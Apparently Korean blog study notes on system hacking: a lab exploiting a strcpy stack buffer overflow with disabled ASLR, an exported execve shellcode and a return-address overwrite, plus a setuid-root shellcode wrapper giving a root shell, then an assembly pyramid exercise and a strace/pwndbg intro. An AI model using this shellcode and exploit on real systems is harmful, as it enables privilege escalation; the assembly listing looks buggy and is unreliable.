버퍼 오버플로우 취약점 해킹 실습

 

nano overflow.c 파일을 만들어준다

 

#include <stdio.h>

int main(int argc, char * argv[]) {
	char buf[16];
    if(argc != 2)
    	return -1;
    strcpy(buf, argv[1]);
    	return 0;
}

 

./program 7 이걸로 예시를 들면 ./program 은 0번째 7은 1번째 ~~ 이렇게 이어진다

 

이 때 n번째 이것이 argc, 실질적으로 들어오는 ./program 이나 7은 argv

 

strcpy가 매우 취약하기에 안쓰는것을 권고할 정도

 

왜 취약하냐면 버퍼에 16자리 이상을 넣더라도 계속 담기때문에 취약함

 

RET 위에 RSP = RBP 가 있고 그 위에 버퍼로 16만큼의 공간이 있게되는데

 

만약 버퍼에 30만큼의 데이터가 들어오면 버퍼뿐만아니라 RSP까지도(혹은 그 이상) 덮혀져 채워질 수 있다

 

실습을 위해 메모리 보호 기능을 끄자

 

sysctl -w kernel.randomize_va_space=0

 

ldd ./overflow 를 여러번 실행했을때 주소가 같게 출력된다면 성공적으로 된 것이다

 

export SHELLCODE=`perl -e 'print "\x90" x 2000, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

(여기서 =과 ` 사이를 띄어쓰기 하면 오류가 뜨므로 꼭 붙혀주도록 하자)

 

90은 nop로 어떠한 명령도 실행하지 않는다는 뜻

 

gdb ./overflow 해주고 break * main 브레이크포인트를 메인으로 run 실행시켜준다

 

x/100a $rsp 해주고 내려보다 보면 90이 계속 출력되는것을 볼 수 있다

 

우선 quit 으로 꺼주고

 

gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack overflow.c -o overflow 해준다

 

이제 익스플로잇 공격을 해볼건데

 

./overflow `perl -e 'print "X" x 24, "\e3\e7\ff\ff\ff\7f"'`

 

성공적으로 쉘 코드를 볼 수 있다

 

 

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.22
공부(9)  (0) 2021.09.21
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

쉘 코드 제작 및 익스플로잇 실습

 

해커들이 BOF(버퍼 오버 플로우)같은 취약점을 이용하여 쉘코드를 실행할 수 있는데

 

만약 루트권한으로 쉘 코드를 실행할 수 있다면 컴퓨터가 완전히 장악당할 수 있음

 

윈도우에서는 cmd라고 할 수 있다

 

nano shell.c 로 파일 하나를 만들어주고

 

#include <stdio.h>
#include <string.h>

char shell[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
    printf("length:%d bytes\n", strlen(shell));
    (*(void(*)()) shell)();
    return 0;
}

저장해주고

 

gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack shell.c -o shell

 

로 보안을 품과 동시에 실행파일을 만들어준다

 

adduser test 로 test계정을 만들어준다

 

chmod 4755 shell    shell에 4755권한을 준다

 

sudo su test 로 사용자를 바꿔준다

 

./shell을 해보면 length: 27bytes가 출력되고

 

whoami 하면 root가 뜨게된다

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.22
공부(9)  (0) 2021.09.21
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

어셈블리어로 별 피라미드 만들기

 

nano pyramid.s 로 파일을 만들어주자

 

section	.data
	STAR db '*'
    EMPTY db 0x0a
    
section .text
	global _start
    
_start:
	mov rax, 1
    mov rdi, 1
    mov rdx, 1
    mov r10, 0
    mov r9, [rsp +16]
    
    cmp r9, 0
    je _done
    
    mov cl, [r9]
    movzx r9, cl
   	sub r9, 0x30
    
    mov r8, r9
    xor r9, r9
    call _syscall

 

STAR 라는 변수를 만들어주고 *이라는 포인터값이 들어가게 만들어주고

 

EMPTY 라는 변수는 0x0a를 넣어주는데 아스키코드에선 줄바꿈을 의미

 

_start라는 하나의 함수 정의하고

 

mov rax, 1 은 write라는 시스템 콜 설정

 

mov rdi, 1 기본 출력 모드

 

mov rdx, 1 출력 길이 설정

 

mov r10, 0 은 인덱스

 

mov r9, [rsp + 16] r9는 현재 입력된 문자열을 찾음 매개변수가 rsp 아래에 위치 즉 프로그램을 실행하여 입력하는 값이 rsp+16 안에 담김

 

cmp r9, 0 은 입력이 없는 경우

 

je_done 프로그램 종료

 

mov cl, [r9] 는 한 바이트만 cl에 저장(1~9층 사이로 할 것이기 때문)

 

movzx r9, cl 문자 형태의 cl을 r9에 저장

 

sub r9, 0x30 r9에 0x30을 빼주기 이렇게 해줌으로써 r9도 인덱스가 됨

 

RSP위치에서 16을 더해준게 입력한 매개변수가 담겨있는 메모리 주소를 가리키는 값

 

16진수로 30은 문자 '0'임

 

7을 넣는다면 16진수로 37 즉 30을 빼줌으로써 실질적인 숫자가 됨

 

r8에 r9를 넣어주고 xor r9, r9 를 해줘서 r9를 초기화해주고 call _syscall 해준다

 

c언어로 피라미드를 만들어보면

 

#include <stdio.h>

int main(void) {
	int n = 7, i, j;
    for(int i = 0; i < n; i++) {
    	for(int j = 0; j <= i; j++) {
        	printf("*");
        }
    }
    for(int i = n-1; i > 0; i--) {
    	for(int j = 0; j < i; j++) {
        	printf("*");
        }
        printf("\n");
    }
    return 0;
}

피라미드 올라가는 부분 내려가는 부분으로 크게 두가지로 나눌 수 있다

 

이것을 어셈블리어로 만들어보자

 

n으로 높이 설정해주고 i는 큰 반복문 j는 작은 반복문

 

n = r8, i = r9, j = r10

 

section	.data
	STAR db '*'
    EMPTY db 0x0a
    
section .text
	global _start
    
_start:
	mov rax, 1
    mov rdi, 1
    mov rdx, 1
    mov r10, 0
    mov r9, [rsp +16]
    
    cmp r9, 0
    je _done
    
    mov cl, [r9]
    movzx r9, cl
   	sub r9, 0x30
    
    mov r8, r9
    xor r9, r9
    call _syscall
    
_small:
	cmp r10, r9
    je _up
    mov rsi, STAR
    syscall
    mov rax, 1
    inc r10
    jmp _small
    
_up:
	cmp r9, r8
    je _down
    mov rsi, EMPTY
    syscall
    mov rax, 1
    mov r10, 0
    add r9, 1
    jmp _small
    
_down:
	cmp r9, 0
    je _down;
    mov rsi, EMPTY
    syscall
    mov rax, 1
    mov r10, 0
    add r9, 1;
    jmp _big

_big:
	cmp r10, r9
    je _down
    mov rsi, STAR
    syscall
    mov rax, 1
    inc r10
    jmp _big
_done
	mov rax, 60
    mov rdi, 0
    syscall

_syscall:
	syscall
    ret

 

r10과 r9를 비교해서 i번 출력한 경우 _up 함수를 불러오게 함

 

rsi에 STAR를 담아 별을 출력할 수 있게 함

 

syscall로 출력하고 rax 1로 설정하여 write 시스템 콜 설정 왜냐하면 출력된 결과가 rax에 담기기 때문에 다시 출력문으로 바꿔주려면 다시 설정해야함

 

inc r10 으로 j를 1증가시킴 그리고 jmp small 로 자기자신을 다시 불러오는 것

 

_up 함수를 만들고 cmp r9, r8 은 i==n이 된 경우

 

즉 다 채웠다면 다시 내려가는 함수인 _down을 불러준다

 

만약 내려가지않고 i가 n보다 작다면 rsi에 EMPTY를 담아서 줄바꿈을 실행 syscall을 해서 실제로 줄바꿈을 해줄 수 있게 함

 

그 후 다시 rax에 1을 설정해주어서 출력모드로 바꿈

 

j를 0으로 해주고 i에 1을 더해줌 그리고 _small로 점프

 

_done 함수를 만들어주고 rax에 60 rdi에 0을 넣고 syscall해주고

 

_syscall 함수에는 syscall과 ret를 넣는다

 

내려가는 것도 만들어주고 파일을 만들어주고 하면 제대로 동작한다

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.22
공부(10)  (0) 2021.09.22
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

디버깅 시작하기(strace, pwndbg 활용법)

 

디버깅이란 것은 기본적으로 이미 만들어진 어떠한 프로그램이 있을 때

 

역으로 추적해서 어떻게 이러한 프로그램이 동작하는지 분석하는 과정

 

프로그램이 오류가 발생하거나 제대로 작동하지 않을 때 정확히 어떤 부분에서 작동하지 않았는지 파악할 수 있음

 

악성코드와 같은 다른사람이 만든 프로그램을 분석할 때도 많이 활용이 됨

 

또한 이미 잘 만들어진 프로그램들을 해적판으로 만들 때도 이러한 디버깅 과정을 거쳐서 재배포를 할 수 있음

 

칼리리눅스 터미널로 가서

 

apt-get install strace 를 하면 설치가 된다

 

strace -ifx ./echo 를 입력하고 HelloWorld를 쳐주면 여러가지 코드들이 나오게된다

 

write 부분을 보면 코드들이 나오는데 HelloWorld가 앞부분에 자리를 차지하고 그 뒤에는 다 널값이 들어가게 된다

 

왜냐하면 총 63바이트만큼 입력을 받기 때문

 

총 10바이트만큼 입력을 받고 반환값은 rax에 담기게 된다 그 다음 1을 넣어서 write를 실행하게 되고 마지막엔 결과적으로 프로그램이 종료가 된 것

 

다른 유명한 툴로는 gdb가 있는데 이는 직관적이지 않고 어렵기 때문에 pwndbg를 사용할 것임

 

git clone https://github.com/pwndbg/pwndbg 

 

GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy

Exploit Development and Reverse Engineering with GDB Made Easy - GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy

github.com

 

해주면 클론이 되고 cd pwndbg로 폴더 안으로 들어가자

 

./setup.sh 로 설치해준다

 

설치 후 echo 파일이 있는 곳으로 가서 gdb echo 를 해주자

 

이제 실행이 되면 break * _start 해준다

 

이러면 특정한 메모리 주소에 Breakpoint가 걸리게 된다

 

run 을 입력해서 프로그램을 실행할 수 있도록 하자

 

DISASM 이 보이게되는데 이는 리버싱을 하고 있는 것

 

STACK 은 스택 프레임이 어떻게 동작하는지 알려주고 있다

 

초기세팅은 RSP가 특정한 메모리 주소를 가리키고 있고

 

RIP가 어떠한 명령어를 수행할지 알려주고 있다

 

ni를 입력하여 다음 명령을 실행할 수 있다

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.22
공부(9)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20
공부(5)  (0) 2021.09.20

+ Recent posts